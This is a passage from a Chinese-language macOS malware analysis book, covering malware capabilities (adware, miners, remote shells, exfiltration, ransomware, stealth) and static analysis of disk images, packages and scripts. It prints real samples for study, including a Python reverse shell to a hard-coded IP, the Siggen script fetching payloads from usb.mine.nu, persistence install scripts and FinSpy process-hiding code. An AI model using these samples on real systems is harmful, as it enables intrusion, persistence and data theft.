这个被劫持的主页通过各种附属链接将用户的搜索引导到最后由 Yahoo! Search 提供服务,并且它将 Safe Finder 逻辑注入到所有搜索结果中。操控搜索结果的能力可能通过广告浏览量和附属链接为广告软件作者带来收入。
另一个与广告相关的例子,IPStorm,是一个跨平台的僵尸网络,在 2020 年发现了其 macOS 变种。在 Intezer 的一份报告中,研究人员指出,Linux 版本的 IPStorm 从事欺诈活动,“滥用游戏和广告变现。因为它是一个僵尸网络,恶意软件利用来自不同可信来源的大量请求,因此不会被屏蔽或追踪。”^(6) 通过嗅探其网络流量,我们可以确认 macOS 变种也从事包括欺诈性广告变现在内的活动(图 3-6)。

图 3-6:欺诈性广告货币化的网络捕获(IPStorm)
要深入了解广告软件及其与联盟计划的联系,请参阅 “联盟计划如何资助间谍软件”。^(7)
加密货币挖矿者
我们已经讨论过,大多数感染普通 Mac 用户的恶意软件很可能是出于经济利益动机。2010 年代末期,出现了大量旨在悄悄在 Mac 系统上安装加密货币挖矿软件的 Mac 恶意软件。加密货币挖矿涉及创建新的数字“货币”和验证用户交易的过程,需要大量的处理资源才能产生任何有意义的收入。恶意软件作者通过将挖矿操作分布到许多被感染的系统中来解决这一资源困境。
实际上,实现加密货币有效载荷的恶意软件通常采用一种相对懒散但高效的方式:通过打包合法矿工的命令行版本。例如,攻击者通过流行的 Mac 应用网站 MacUpdate.com 暗中分发的 CreativeUpdate 恶意软件,就利用了一个合法的加密货币矿工。这款恶意软件以启动代理 MacOS.plist 的形式存在,其中我们可以在下面的代码片段(列表 3-7)中看到,它指示系统通过 shell(sh)持久化执行名为 mdworker 的二进制文件:
...
<key>ProgramArguments</key>
<array>
<string>sh</string>
<string>-c</string>
<string>
~/Library/mdworker/**mdworker**
-user walker18@protonmail.ch -xmr
</string>
</array>
<key>RunAtLoad</key>
<true/>
...
列表 3-7:一个持久化启动项 plist(CreativeUpdate)
如果我们在虚拟机中直接执行这个 mdworker 二进制文件,它会迅速自我识别为一个控制台挖矿程序,属于多币种挖矿平台 MinerGate(列表 3-7):^(8)
% **./mdworker -help**
Usage:
minergate-cli [-`<version>`] -user `<email>` [-proxy `<url>`]
-`<currency> <threads>` [`<gpu intensity>`]
启动代理 plist 会将此持久化的挖矿程序传递给参数 -user walker18@protonmail.ch -xmr,指定了要将挖矿结果归功于的用户帐户,以及挖掘的加密货币类型,即 XMR(Monero)。
其他最近的 Mac 恶意软件示例,包括 OSAMiner、BirdMiner、CpuMeaner、DarthMiner 和 CookieMiner,都是为了偷偷进行加密货币挖矿而设计的。
远程 Shell
有时,攻击者只需要在受害者的系统上获得一个 shell。Shell 让远程攻击者完全控制被感染的系统,允许他们运行任意的 shell 命令和二进制文件。
在恶意软件的背景下,远程 shell 通常有两种主要类型:交互式和非交互式。交互式 shell 允许远程攻击者像实际坐在受感染的系统前一样“实时操作”该系统。通过这种 shell,攻击者可以运行并中断 shell 命令,同时将所有输入和输出实时路由到攻击者的远程服务器。非交互式 shell 仍然提供了一个机制,让攻击者通过受感染系统的内置 shell 运行命令。然而,它们通常只接收来自攻击者远程命令和控制服务器的命令,并在指定的时间间隔执行它们。
设置并执行远程 shell 的恶意软件不需要特别复杂。例如,名为 Dummy 的恶意软件运行了一个 bash 脚本(/var/root/script.sh),将其持久化为启动守护进程,并用它执行一个内联 Python 脚本(列表 3-8):
#!/bin/bash
while :
do
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
1 s.connect(("185.243.115.230",1337));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
2 os.dup2(s.fileno(),2);
3 p=subprocess.call(["/bin/sh","-i"]);'
sleep 5
done
列表 3-8:一个持久化的远程 shell(Dummy)
Dummy 的 Python 代码将尝试连接到 IP 地址 185.243.115.230 上的端口 1337 1。然后它会将 STDIN(0)、STDOUT(1)和 STDERR(2)复制到连接的套接字 2,然后执行带有交互模式 -i 标志的 /bin/sh 3。换句话说,它正在设置一个远程交互式反向 shell。
在受感染的系统上,持久运行的 /bin/sh 实例连接到远程 IP 地址是相当容易发现的。因此,更复杂的恶意软件可能会通过编程方式实现这些功能,以保持更好的隐蔽性。例如,Lazarus Group 后门可以使用名为 proc_cmd 的函数远程执行 shell 命令(列表 3-9):
int proc_cmd(char * arg0, ...) {
bzero(&command, 0x400);
1 sprintf(&command, "%s 2>&1 &", arg0);
2 rax = popen(&command, "r");
...
}
列表 3-9:通过 popen API 执行命令(Lazarus Group 后门)
在 proc_cmd 函数中,我们可以看到后门首先构建了要在后台执行的命令 1。然后它调用 popen 系统 API,进而调用 shell(/bin/sh)来执行指定的命令 2。尽管是非交互式的,这段代码仍然为远程攻击者提供了在受感染系统上执行任意 shell 命令的手段。
远程进程和内存执行
通过 shell 执行命令相当“吵闹”,因此更容易被检测到。更复杂的恶意软件可能绕过 shell,直接包含逻辑以在受感染的系统上执行进程。例如,Komplex 恶意软件可以使用程序化 API 执行任意二进制文件。如果我们从恶意软件中提取符号,会发现一个名为 FileExplorer 的自定义类,它有一个名为 executeFile 的方法,如 列表 3-10 所示:
% **nm -C Komplex/kextd**
...
0000000100001e60 T FileExplorer::executeFile(char const*, unsigned long)
列表 3-10:一个文件执行方法(Komplex)
反编译该方法后发现,它调用了 Apple 的 [NSTask](https://developer.apple.com/documentation/foundation/nstask) API 来执行指定的二进制文件(列表 3-11):
FileExplorer::executeFile(...) {
...
path = [NSString stringWithFormat:@"%s/%s",
1 directory, FileExplorer::getFileName()];
2 NSTask* task = [[NSTask alloc] init];
[task setLaunchPath:path];
[task launch];
[task waitUntilExit];
}
列表 3-11:文件执行逻辑(Komplex)
从FileExplorer的executeFile方法的反编译中,我们看到它首先构建了一个包含要执行文件完整路径的字符串对象(NSString),然后它初始化了一个任务对象(NSTask)来执行该文件。
生成一个进程仍然是一个非常显眼的事件,因此一些恶意软件作者选择直接从内存中执行二进制代码。你可以在 2019 年 Lazarus 集团的一个植入程序 AppleJeus.C 中看到这一策略的应用(清单 3-12)。
int memory_exec2(void* bytes, int size, ...) {
...
NSCreateObjectFileImageFromMemory(bytes, size, &objectFile);
NSLinkModule(objectFile, "core", 0x3);
...
清单 3-12:内存中代码执行(Lazarus 集团后门)
恶意软件调用名为memory_exec2的函数,并传入各种参数,比如一个只在内存中下载并解密的远程有效载荷。正如代码片段所示,函数调用了苹果的NSCreateObjectFileImageFromMemory和NSLinkModule API,以准备内存中的有效载荷进行执行。恶意软件随后动态定位并调用已经准备好的有效载荷的入口点。这种先进的能力确保了恶意软件的第二阶段有效载荷从未接触到文件系统,也不会导致新进程的生成,确实非常隐蔽!
有趣的是,看来 Lazarus 集团直接从 Cylance,一家提供病毒防护并进行威胁研究的公司,博客文章和 GitHub 项目中获取了这段内存有效载荷代码。对于恶意软件作者来说,使用这一开源恶意软件有多个好处,包括高效(代码已经写好!)和更复杂的归属追踪。欲了解 Lazarus 集团植入程序的内存加载能力的技术深度解析,请参阅我的文章《Lazarus 集团采用“无文件”策略》^(9)。
远程下载与上传
另一种常见的恶意软件能力,尤其是针对网络间谍的恶意软件,是从攻击者服务器远程下载文件,或从感染系统上传收集的数据,这种行为称为数据外泄。
恶意软件通常具备将文件远程下载到感染系统的能力,以便攻击者能够升级恶意软件或下载并执行二阶段有效载荷和其他工具。WindTail 恶意软件很好地展示了这一能力。作为一个文件外泄的网络间谍植入程序,WindTail 还具备从攻击者的远程命令与控制服务器下载并执行额外有效载荷的能力。实现文件下载功能的逻辑位于一个名为sdf的方法中。该方法首先解密一个嵌入式的命令与控制服务器地址,接着向该服务器发送初始请求,以获取即将下载文件的本地名称。第二次请求则下载远程服务器上的实际文件。
像我的开源工具 Netiquette 这样的网络监视器可以显示 WindTail 用于下载文件的两个连接(清单 3-13):
% **./netiquette -list**
usrnode(4897)
127.0.0.1 -> flux2key.com:80 (Established)
usrnode(4897)
127.0.0.1 -> flux2key.com:80 (Established)
清单 3-13:文件下载连接(WindTail)
一旦 WindTail 将下载的文件保存到受感染的系统中,它会解压文件并执行它。
恶意软件还可能将文件从受害者的计算机上传到攻击者的服务器。通常,这些上传的文件包含有关感染系统的信息(调查)或可能引起攻击者兴趣的用户文件。
例如,在本章早些时候我提到的 MacDownloader,它收集系统相关数据,例如已安装的应用程序,并将其保存到磁盘。然后,它通过一个名为SendCollectedDataTo:withThisTargetId:的方法,将这些调查数据通过uploadFile:ToServer:withTargetId:方法外泄到攻击者的指挥和控制服务器上(清单 3-14):
-AuthenticationController SendCollectedDataTo:withThisTargetId: {
...
if (([CUtils hasInternet:0x0] & 0x1 & 0xff) != 0x0) {
...
file ="[@"/tmp/applist."xt" retain];
[CUtils uploadFile:file ToServer:0x0 withTargetId:0x0];
...
}
}
清单 3-14:文件外泄封装器(MacDownloader)
如清单 3-14 所示,恶意软件首先调用一个方法来确保它已连接到互联网。如果连接正常,调查文件applist.txt将通过uploadFile:方法上传。检查该方法中的代码发现,它使用了 Apple 的NSMutableURLRequest和NSURLConnection类通过 HTTP POST请求上传文件(清单 3-15):
+(char)uploadFile:(void *)arg2 ToServer:(void *)arg3 withTargetId:(void *)arg4 {
...
request = [[NSMutableURLRequest requestWithURL:var_58 cachePolicy:0x0
timeoutInterval:var_50] retain];
[request setHTTPMethod:@"POST"];
[request setAllHTTPHeaderFields:var_78];
[request setHTTPBody:var_88];
rax = [NSURLConnection sendSynchronousRequest:request
returningResponse:0x0 error:&var_A0];
...
}
清单 3-15:文件外泄(MacDownloader)
当然,还有其他编程方法可以下载和上传文件。在各种 Lazarus 集团的恶意软件中,curl库被用来执行此任务。例如,在他们的一个持久后门中,我们可以找到一个名为post的方法,通过curl库将文件(发送)到攻击者控制的服务器(清单 3-16)。
handle = curl_easy_init();
curl_easy_setopt(handle, 0x2727, ...);
curl_easy_setopt(handle, 0x4e2b, ...);
curl_easy_setopt(handle, 0x2711, ...);
curl_easy_setopt(handle, 0x271f, postdata);
curl_easy_perform(handle);
清单 3-16:libcurl API(Lazarus 集团植入使用)
在清单 3-16 中,我们可以看到后门首先调用curl_easy_init函数进行初始化,并返回一个句柄用于后续的调用。然后,通过curl_easy_setopt函数设置各种选项。通过查阅 libcurl API 文档,我们可以将指定的常量映射为人类可读的值。例如,最显著的是0x271f。它映射为CURLOPT_POSTFIELDS,该选项将文件数据设置为上传到攻击者的远程服务器。最后,恶意软件调用curl_easy_perform函数完成curl库操作,执行文件外泄。
最后,各种 Mac 恶意软件会根据文件扩展名从感染的计算机中外泄文件。例如,在扫描受感染系统,检查感兴趣的文件扩展名后,WindTail 会创建 ZIP 归档文件,并通过 macOS 内置的curl工具上传它们。使用进程和网络监控工具,我们可以被动地观察到这一过程的实际操作。在第七章中,我们将更详细地讨论这种动态分析方法。
文件加密
第二章提到过勒索软件,或是旨在加密用户文件并要求支付赎金的恶意软件。由于勒索软件如今非常流行,macOS 也出现了它的增长。作为一个例子,我们来看一下 KeRanger,这是首个在野外发现的完全功能化的 macOS 勒索软件。^(10)
KeRanger 会连接到一个远程服务器,期望收到由公钥 RSA 加密密钥和解密指令组成的响应。凭借这个加密密钥,它将递归地加密/Users/下的所有文件,以及/Volumes下匹配特定扩展名的所有文件,包括.doc、.jpg和.zip。这在以下恶意软件startEncrypt函数的反编译代码片段中有所展示:
void startEncrypt(...) {
...
recursive_task("/Users", encrypt_entry, putReadme);
recursive_task("/Volumes", check_ext_encrypt, putReadme);
对于勒索软件加密文件的每个目录,它都会创建一个名为README_FOR_DECRYPT.txt的纯文本 README 文件,指导用户如何支付赎金并恢复文件(图 3-7)。

图 3-7:解密指令(KeRanger)
除非用户支付赎金,否则他们的文件将保持锁定状态。
另一个具有勒索软件功能的 Mac 恶意软件示例是 EvilQuest。在被感染的系统中,EvilQuest 会搜索与硬编码文件扩展名列表匹配的文件,如.jpg和.txt,然后对它们进行加密。一旦所有文件被加密,恶意软件会将解密指令写入一个名为READ_ME_NOW.txt的文件,并通过 macOS 内建的say命令将其朗读给用户听。
有关 macOS 上勒索软件的详细历史和更全面的技术讨论,请参阅我的文章《走向通用勒索软件检测》。^(11)
隐匿性
在恶意软件感染系统后,它通常会将隐匿性视为最重要的目标。(勒索软件,一旦加密了用户文件,通常是个例外。)有趣的是,当前的 Mac 恶意软件通常不会花太多精力去利用隐匿功能,即使检测通常意味着死亡打击。相反,大多数恶意软件通过采用伪装成 Apple 或操作系统组件的文件名,试图在明处隐藏。例如,EvilQuest 通过名为com.apple.questd.plist的启动代理持续存在,该代理执行一个名为com.apple.questd的二进制文件。恶意软件作者正确地假设,普通的 Mac 用户不会对这些文件和进程名称产生怀疑。
其他恶意软件通过在恶意组件名称前加上一个句点,进一步提高隐蔽性。例如,GMERA 创建了一个名为.com.apple.upd.plist的启动代理。由于 Finder 应用程序默认不显示以句点开头的文件,这为恶意软件提供了额外的隐蔽性。
虽然伪装成 Apple 组件或在恶意组件的文件名前加上句点确实提供了基本的隐蔽性,但这些策略也提供了强大的检测启发式方法。例如,存在一个隐藏进程或一个名为*com.apple.**且未经过 Apple 签名的二进制文件几乎肯定是被入侵的迹象。
FinSpy,一种商业跨平台间谍软件,是隐藏在明面上的技术中的一个显著例外。该软件于 2020 年被国际特赦组织揭露,具备通过内核级 rootkit 组件logind.kext隐藏进程的能力,并试图在严格监控的系统中保持不被检测到。^(12)
FinSpy 的kext文件包含一个名为ph_init的函数。(ph可能代表process hiding。)该函数使用名为ksym_resolve_symbol_by_crc32的函数解析多个内核符号(见清单 3-17):
void ph_init() {
1 *ALLPROC_ADDRESS = ksym_resolve_symbol_by_crc32(0x127a88e8);
2 *LCK_LCK = ksym_resolve_symbol_by_crc32(0xfef1d247);
*LCK_MTX_LOCK = ksym_resolve_symbol_by_crc32(0x392ec7ae);
*LCK_MTX_UNLOCK = ksym_resolve_symbol_by_crc32(0x2472817c);
return;
}
清单 3-17:内核符号解析(FinSpy)
根据内核扩展中的变量名称来看,这个函数似乎正在尝试解析内核全局进程(proc)结构体列表的指针 1,以及各种锁和互斥函数 2。
在名为ph_hide的函数中,kext通过遍历ALLPROC_ADDRESS指向的proc结构体列表,查找匹配项,从而隐藏一个进程(见清单 3-18):
void ph_hide(int targetPID) {
if (pid == 0x0) return;
r15 = *ALLPROC_ADDRESS;
if (r15 == 0x0) goto return;
SEARCH:
rax = proc_pid(r15);
rbx = *r15;
if (rax == targetPID) goto HIDE;
r15 = rbx;
if (rbx != 0x0) goto SEARCH;
return;
HIDE:
r14 = *(r15 + 0x8);
(*LCK_MTX_LOCK)(*LCK_LCK);
*r14 = rbx;
*(rbx + 0x8) = r14;
(*LCK_MTX_UNLOCK)(*LCK_LCK);
return;
清单 3-18:内核模式进程隐藏(FinSpy)
请注意,HIDE标签包含在找到目标进程时将执行的代码。此代码通过将目标进程从进程列表中解链来移除目标进程。移除后,该进程将对各种系统进程枚举工具(如活动监视器)隐藏。值得注意的是,由于 FinSpy 的内核扩展未签名,因此它无法在任何最近版本的 macOS 上运行,因为这些版本强制执行kext代码签名要求。有关 Mac rootkit(包括这一著名的进程隐藏技术)的更多内容,请参阅《重新审视 Mac OS X 内核 Rootkit》。^(13)
其他功能
针对 macOS 的恶意软件种类繁多,因此其能力范围也涵盖了各个方面。本章最后,我们将总结一下在 Mac 恶意软件中发现的其他一些功能。
一种在功能方面表现突出的 Mac 恶意软件类型是设计用来监视受害者的间谍软件。这类恶意软件通常具有非常全面的功能。例如,FruitFly,这是一种相当狡猾的 macOS 恶意软件样本,在野外隐匿了超过十年。 在一篇名为“进攻性恶意软件分析:通过自定义 C&C 服务器解析 OSX.FruitFly”的综合分析中,我详细介绍了该恶意软件相当广泛的功能和能力。^(14) 除了标准功能,如文件下载、上传和 Shell 命令执行外,它还可以被远程指派执行其他操作,如捕捉受害者的屏幕内容、评估并执行任意 Perl 命令、以及模拟鼠标和键盘事件。后者在 Mac 恶意软件中较为独特,使得远程攻击者能够与被感染系统的 GUI 进行交互;例如,它可以关闭可能因恶意软件其他行为触发的安全警报。
另一个功能齐全的 Mac 恶意软件示例是 Mokes。作为一种网络间谍植入程序,它支持典型功能,如文件下载和命令执行,但还具有搜索并窃取 Office 文档、捕捉用户的屏幕、音频和视频、监控可移动媒体以扫描有趣文件并收集的能力。任何被这个复杂植入程序感染的设备,都使远程攻击者能够持续控制系统,并且可以不受限制地访问用户的文件和活动。
说到功能全面的恶意软件,商业恶意软件(通常被称为间谍软件套件)常常脱颖而出。例如,上文提到的 FinSpy 的 macOS 变种采用模块化设计,提供了一份相当令人印象深刻的功能清单。这些功能包括当然的一些基本功能,如执行 Shell 命令,但还包括以下内容:
-
音频录制
-
摄像头录制
-
屏幕录制
-
列出远程设备上的文件
-
列举可达的 Wi-Fi 网络
-
按键记录(包括虚拟键盘)
-
记录被修改、访问和删除的文件
-
偷窃电子邮件(来自 Apple Mail 和 Thunderbird)
接下来
如果你有兴趣深入探讨本书第一部分涉及的主题,我每年都会发布一份“Mac 恶意软件报告”。这些报告涵盖了该年所有新恶意软件的感染途径、持久性机制和功能。^(15)
在下一章中,我们将讨论如何有效地分析恶意样本,帮助你掌握成为一名熟练的 Mac 恶意软件分析师所需的技能。
脚注
第四章:非二进制分析

本章重点介绍对非二进制文件格式的静态分析,例如你在分析 Mac 恶意软件时常遇到的包、磁盘映像和脚本。包和磁盘映像是压缩文件格式,通常用于将恶意软件传递到用户的系统。当我们遇到这些压缩文件类型时,我们的目标是提取它们的内容,包括任何恶意文件。这些文件,例如恶意软件的安装程序,可能有各种格式,但最常见的是脚本或已编译的二进制文件(通常在应用程序包内)。由于脚本是纯文本格式,因此手动分析相对容易,尽管恶意软件作者常常通过混淆技术来增加分析的难度。另一方面,已编译的二进制文件不易为人理解。分析这些文件需要理解 macOS 二进制文件格式,并使用特定的二进制分析工具。后续章节将涵盖这些内容。
静态分析文件时,通常的第一步是确定文件类型。这一步至关重要,因为大多数静态分析工具都是文件类型特定的。例如,如果我们识别一个文件是包或磁盘映像,我们会使用能够从这些压缩安装介质中提取组件的工具。另一方面,如果文件是已编译的二进制文件,我们就必须使用专门的二进制分析工具来帮助我们的分析工作。
识别文件类型
如前所述,大多数静态分析工具都是文件类型特定的。因此,分析潜在恶意文件的第一步是识别其文件类型。如果文件有扩展名,扩展名通常可以识别文件的类型,尤其是操作系统用来调用默认操作的扩展名。例如,如果恶意磁盘映像没有 .dmg 扩展名,用户双击时它不会被自动挂载,因此恶意软件作者不太可能删除它。
然而,恶意软件作者常常会试图掩盖其创作的真实文件类型,以欺骗或强迫用户运行它。显而易见,外观可能具有欺骗性,不能仅凭文件的外观(例如图标)或看似的扩展名来识别文件类型。例如,WindTail 恶意软件专门设计成伪装成无害的 Microsoft Office 文档。实际上,该文件是一个恶意应用程序,当执行时会持续感染系统。
在另一端,恶意文件可能没有图标或文件扩展名。此外,对这类文件内容的初步筛查可能无法提供任何关于文件实际类型的线索。例如,列表 4-1 是一个疑似恶意文件,名为 5mLen,格式为未知的二进制文件。
% **hexdump -C 5mLen**
00000000 03 f3 0d 0a 97 93 55 5b 63 00 00 00 00 00 00 00 |......Uc.......|
00000010 00 03 00 00 00 40 00 00 00 73 36 00 00 00 64 00 |.....@...s6...d.|
00000020 00 64 01 00 6c 00 00 5a 00 00 64 00 00 64 01 00 |.d..l..Z..d..d..|
00000030 6c 01 00 5a 01 00 65 00 00 6a 02 00 65 01 00 6a |l..Z..e..j..e..j|
00000040 03 00 64 02 00 83 01 00 83 01 00 64 01 00 04 55 |..d........d...U|
00000050 64 01 00 53 28 03 00 00 00 69 ff ff ff ff 4e 73 |d..S(....i....Ns|
00000060 d8 08 00 00 65 4a 79 64 56 2b 6c 54 49 6a 6b 55 |....eJydV+lTIjkU|
00000070 2f 38 35 66 51 56 47 31 53 33 71 4c 61 52 78 6e |/85fQVG1S3qLaRxn|
00000080 6e 42 6d 6e 4e 6c 73 4f 6c 2b 41 67 49 71 43 67 |nBmnNlsOl+AgIqCg|
列表 4-1:未知文件类型
那么我们如何有效地识别一个文件的格式呢?一个很好的选择是 macOS 内置的 file 命令。例如,运行 file 命令在未知的 5mLen 文件上,可以识别该文件的类型为字节编译的 Python 代码([示例 4-2):
% **file 5mLen**
5mLen: python 2.7 byte-compiled
示例 4-2:使用 file 识别字节编译的 Python 脚本
很快会详细介绍这个广告软件,但知道一个文件是字节编译的 Python 代码,能够让我们利用各种特定于此文件格式的工具;例如,我们可以使用 Python 反编译器重构出原始 Python 代码的可读表示。
回到 WindTail,我们再次可以使用 file 工具来揭示那些恶意文件(这些文件尝试通过使用图标伪装成无害的 Office 文档),实际上是包含 64 位 Mach-O 可执行文件的应用程序包(示例 4-3):
% **file Final_Presentation.app/Contents/MacOS/usrnode**
Final_Presentation.app/Contents/MacOS/usrnode: Mach-O 64-bit executable x86_64
示例 4-3:使用 file 识别编译后的 64 位 Mach-O 可执行文件(WindTail)
请注意,file 工具有时并不能以非常有用的方式识别文件类型。例如,它经常错误地识别磁盘镜像(.dmg),即使它们可能是压缩的,也常被误识别为 VAX COFF 文件。在这种情况下,像 WhatsYourSign 这样的工具可能更加有帮助。^(1)
我编写了 WhatsYourSign(WYS)作为一款免费、开源的工具,主要设计用来显示加密签名信息,但它也能识别文件类型。安装 WYS 后,它会在 Finder 中添加一个上下文菜单选项。这样,你就可以 ctrl+点击任何文件,然后在下拉菜单中选择 签名信息 选项查看文件的类型。例如,WYS 可以轻松识别 WindTail 的真实类型:一个标准应用程序(图 4-1)。

图 4-1:使用 WhatsYourSign 识别应用程序(WindTail)
除了通过 macOS 用户界面提供便捷的方式来确定文件类型,WYS 还能够识别一些命令行工具 file 可能识别困难的文件类型,例如磁盘镜像。以示例 4-4 中的例子为例,我们对一个被 EvilQuest 恶意软件感染的磁盘镜像运行 file 命令:
% **file "EvilQuest/Mixed In Key 8.dmg"**
EvilQuest/Mixed In Key 8.dmg: zlib compressed data
示例 4-4:对于磁盘镜像,file 无法识别(EvilQuest)
file 工具的响应并不太有帮助,它只是显示“zlib 压缩数据”。虽然这在技术上是正确的(磁盘镜像确实是压缩数据),但是 WYS 的输出更加有用。如你在图 4-2 中所见,它将项目类型列为“磁盘镜像”。

图 4-2:使用 WYS 识别磁盘镜像(EvilQuest)
从分发包装中提取恶意文件
在确定一个项目的文件类型后,通常会借助专门针对该文件类型的工具继续进行静态分析。例如,如果某个项目是磁盘镜像或安装包,你可以利用专门设计的工具从这些分发机制中提取文件。我们现在来看看这个过程。
Apple 磁盘镜像(.dmg)
Apple 磁盘镜像(.dmg)是向 Mac 用户分发软件的一种流行方式。当然,恶意软件作者也可以利用这种软件分发格式。
你通常可以通过文件扩展名 .dmg 来识别磁盘镜像。恶意软件作者很少会更改这个扩展名,因为当用户双击任何 .dmg 扩展名的文件时,操作系统会自动挂载它并显示其内容,这通常是恶意软件作者所希望的。或者,你也可以使用 WYS 来识别这种文件类型,因为 file 工具可能无法明确识别这种磁盘镜像。
在分析过程中,我们可以通过 macOS 内置的 hdiutil 命令手动挂载 Apple 磁盘镜像,这样我们就能检查磁盘镜像的结构,并提取文件内容,例如恶意安装程序或应用程序,进行进一步分析。通过 attach 选项调用 hdiutil 时,hdiutil 会将磁盘镜像挂载到 /Volumes 目录。例如,清单 4-5 通过命令 hdiutil attach 挂载一个被特洛伊木马感染的磁盘镜像:
% **hdiutil attach CreativeUpdate/Firefox\ 58.0.2.dmg**
/dev/disk3s2 Apple_HFS /Volumes/Firefox
清单 4-5:使用hdiutil挂载感染的磁盘镜像(CreativeUpdate)
一旦磁盘镜像被挂载,hdiutil 会显示挂载目录(例如 /Volumes/Firefox)。现在,你可以直接访问磁盘镜像中的文件。通过终端(使用 cd /Volumes/Firefox)或用户界面浏览这个挂载的磁盘镜像,能发现一个被 CreativeUpdate 恶意软件感染的 Firefox 应用程序。有关 .dmg 文件格式的更多细节,请参见《解密 DMG 文件格式》^(2)
安装包(.pkg)
另一种攻击者常常滥用的文件格式是无处不在的 macOS 安装包。与磁盘镜像类似,当使用 file 工具分析安装包时,输出可能会有些令人困惑。具体来说,它可能会将安装包识别为压缩的 .xar 存档文件,这是打包工具的底层文件格式。从分析的角度来看,知道它是一个安装包远比知道它是一个 .xar 文件更有帮助。
WYS 可以更准确地识别此类文件为安装包。此外,当分发时,安装包通常会以 .pkg 或 .mpkg 文件扩展名结尾。这些扩展名确保 macOS 会自动启动该安装包,例如,当用户双击该文件时。安装包也可以进行签名,这一事实可以在分析时提供一些线索。例如,如果一个安装包由知名公司(如 Apple)签名,那么该安装包及其内容很可能是良性的。
与磁盘映像类似,您通常不会对包本身感兴趣,而是对其内容感兴趣。因此,我们的目标是提取包的内容进行分析。由于包是压缩档案,您需要一个工具来解压并检查或提取包的内容。如果您习惯使用终端,macOS 内置的 pkgutil 工具可以通过 --expand-full 命令行选项提取包的内容。另一种选择是免费的 Suspicious Package 应用程序,正如其文档所解释的那样,它可以让您在不先安装的情况下打开和探索 macOS 安装包。^(3) 具体来说,Suspicious Package 允许您检查包的元数据,如代码签名信息,还可以浏览、查看和导出包中找到的任何文件。
作为示例,我们使用 Suspicious Package 来查看一个包含 CPUMeaner 恶意软件的包 (图 4-3)。

图 4-3:使用 Suspicious Package 检查包(CPUMeaner)
Suspicious Package 的“包信息”标签提供了有关该包的一般信息,包括:
-
它安装了两个项目
-
其证书已被 Apple 吊销(这是一个关键问题和一个巨大的警告标志,可能表示它包含恶意代码)
-
它运行两个安装脚本
“所有文件”标签 (图 4-4) 显示了如果该包运行时将安装的目录和文件。此外,该标签还允许我们导出这些项目中的任何一个。

图 4-4:使用 Suspicious Package 导出文件(CPUMeaner)
包通常包含安装前和安装后的 bash 脚本,这些脚本可能包含完成安装所需的额外逻辑。由于这些文件在安装过程中会自动执行,因此在分析潜在恶意包时,您应该始终检查并检查这些文件!恶意软件作者非常喜欢滥用这些脚本来执行恶意操作,例如持续安装他们的代码。
确实,点击“所有脚本”标签显示了一个恶意的安装后脚本 (图 4-5)。
如你所见,CPUMeaner 的安装后脚本包含一个嵌入的启动代理属性列表,并包含配置和写入文件 /Library/LaunchAgents/com.osxext.cpucooler.plist 的命令。一旦这个属性列表被安装,恶意软件的二进制文件(/Library/Application Support/CpuCooler/cpucooler)将在每次用户登录时自动启动。

图 4-5:使用 Suspicious Package 检查安装后脚本(CPUMeaner)
在一篇名为“Pass the AppleJeus”的文章中,我指出了另一个恶意包的例子,这次属于 Lazarus 组织。^(4) 由于该恶意包被包含在一个 Apple 磁盘映像中,必须先挂载 .dmg 文件。如 列表 4-6 所示,我们首先挂载恶意磁盘映像 JMTTrader_Mac.dmg。一旦它被挂载到 /Volumes/JMTTrader/,我们就可以列出它的文件。我们观察到它包含一个包,JMTTrader.pkg:
% **hdiutil attach JMTTrader_Mac.dmg**
...
/dev/disk3s1 /Volumes/JMTTrader
% **ls /Volumes/JMTTrader/**
JMTTrader.pkg
列表 4-6:列出磁盘映像中的文件(AppleJeus)
一旦磁盘映像被挂载,我们可以通过 Suspicious Package 访问并检查恶意包(JMTTrader.pkg),如 图 4-6 所示。

图 4-6:使用 Suspicious Package 检查包(AppleJeus)
该包未签名(这相当不寻常),并包含以下安装后脚本,其中包含恶意软件的安装逻辑(列表 4-7):
#!/bin/sh
mv /Applications/JMTTrader.app/Contents/Resources/.org.jmttrading.plist
/Library/LaunchDaemons/org.jmttrading.plist
chmod 644 /Library/LaunchDaemons/org.jmttrading.plist
mkdir /Library/JMTTrader
mv /Applications/JMTTrader.app/Contents/Resources/.CrashReporter
/Library/JMTTrader/CrashReporter
chmod +x /Library/JMTTrader/CrashReporter
/Library/JMTTrader/CrashReporter Maintain &
列表 4-7:一个包含安装逻辑的安装后脚本(AppleJeus)
检查这个安装后脚本会发现它会持久性地安装恶意软件(CrashReporter)作为启动守护进程(org.jmttrading.plist)。
脚本分析
一旦你从其分发包中提取了恶意软件(无论是 .dmg、.pkg、.zip 还是其他格式),接下来就可以分析实际的恶意软件样本。通常,这类恶意软件要么是脚本(如 shell 脚本、Python 脚本或 AppleScript),要么是编译过的 Mach-O 二进制文件。由于脚本的可读性,通常比较容易分析,而且可能不需要特殊的分析工具,所以我们从这里开始。
Bash Shell 脚本
你会发现各种使用 shell 脚本语言编写的 Mac 恶意软件样本。除非 shell 脚本代码经过混淆,否则它们很容易理解。例如,在第三章中,我们查看了一个 bash 脚本,Dummy 恶意软件将其作为启动守护进程持久化。回忆一下,这个脚本只是执行了一些 Python 命令,以启动一个交互式远程 Shell。
我们在 Siggen 中发现了一个稍微复杂一些的恶意 bash 脚本示例。^(5) Siggen 被作为一个 ZIP 文件分发,其中包含了一个恶意的基于脚本的应用程序,WhatsAppService.app。这个应用程序是通过流行的开发者工具 Platypus 创建的,Platypus 会将一个脚本打包成一个原生的 macOS 应用程序。^(6) 当运行一个“platypussed”应用程序时,它会执行名为 script 的脚本,该脚本位于应用程序的 Resources/ 目录中(图 4-7)。

图 4-7:基于脚本的有效载荷(Siggen)
让我们来看看这个 shell 脚本,看看我们能从中学到什么(清单 4-8):
echo c2NyZWVuIC1kbSBiYXNoIC1jICdzbGVlcCA1O2tpbGxhbGwgVGVybWluYWwn1 | base64 -D2 | sh
curl -s http://usb.mine.nu/a.plist -o ~/Library/LaunchAgents/a.plist
echo Y2htb2QgK3ggfi9MaWJyYXJ5L0xhdW5jaEFnZW50cy9hLnBsaXN0 | base64 -D | sh
launchctl load -w ~/Library/LaunchAgents/a.plist
curl -s http://usb.mine.nu/c.sh -o /Users/Shared/c.sh
echo Y2htb2QgK3ggL1VzZXJzL1NoYXJlZC9jLnNo | base64 -D | sh
echo L1VzZXJzL1NoYXJlZC9jLnNo | base64 -D | sh
清单 4-8:一个恶意的 bash 脚本(Siggen)
